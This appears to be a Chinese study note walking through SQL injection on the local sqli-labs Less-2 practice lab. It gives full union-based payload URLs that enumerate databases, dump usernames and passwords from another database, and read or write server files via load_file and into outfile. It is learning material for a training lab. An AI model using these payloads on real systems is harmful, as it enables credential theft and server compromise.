查询注入点与第一题不一样,其他都一样,所以试一试跨站注入
若一个网页的注入点使用的是root用户,那么可以使用这个注入点跨库查询其他的数据库。
例如:;使用sqil-labs root用户注入进行跨库攻击:
- 在网站后添加id=1发现显示用户名
- 判断是否是字符注入 http://127.0.0.1/sqli-labs/Less-2/?id=1’
- 根据报错类型判断可能是int类型:http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1
- 1=2时找不到用户了http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2
- 跨库注入的思路
- 找到所有的数据库名 #information_schema(它记录了库名以及表名、列名)
- 查询有几列 http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 4(报错)
- Order by 3的时候就不报错了 http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 3
- 查询显示位 http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,3
- 查看当前数据库的用户,发现是root,则可以进行跨库攻击 http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,user(),null
- 查找数据库的所有数据 http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),null from information_schema.schemata
- 找到了另一个数据库pikachu
-
- 查询pikachu下的表名信息
- 查询到有以下表:httpinfo,member,message,users,xssblind
- 查找pikachu下面的users表(注意加上table_schema='pikachu'——指向数据库pikachu) http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),null from information_schema.columns where table_name='users' and table_schema='pikachu'
- 查询username与password http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,username,password from pikachu.users
- 对密码进行md5解密:
- 文件读写操作(危!!!)
- load_file(): 读取函数
- Into outfile或into dumpfile: 导出函数
- 若已知某个盘有某个文件(通过扫描获得,那么就可以直接读取)--(例如已知d盘有version.txt)就能进行读取 http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('d:/version.txt'),null
- 为d盘下添加一个为“mytest”的“mytest.txt”文件 http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,'mytest',3 into outfile 'd:\\mytest.txt' %23
- 成功
- Sql注入防护:魔术引导(把想写入的地址使用hex编码)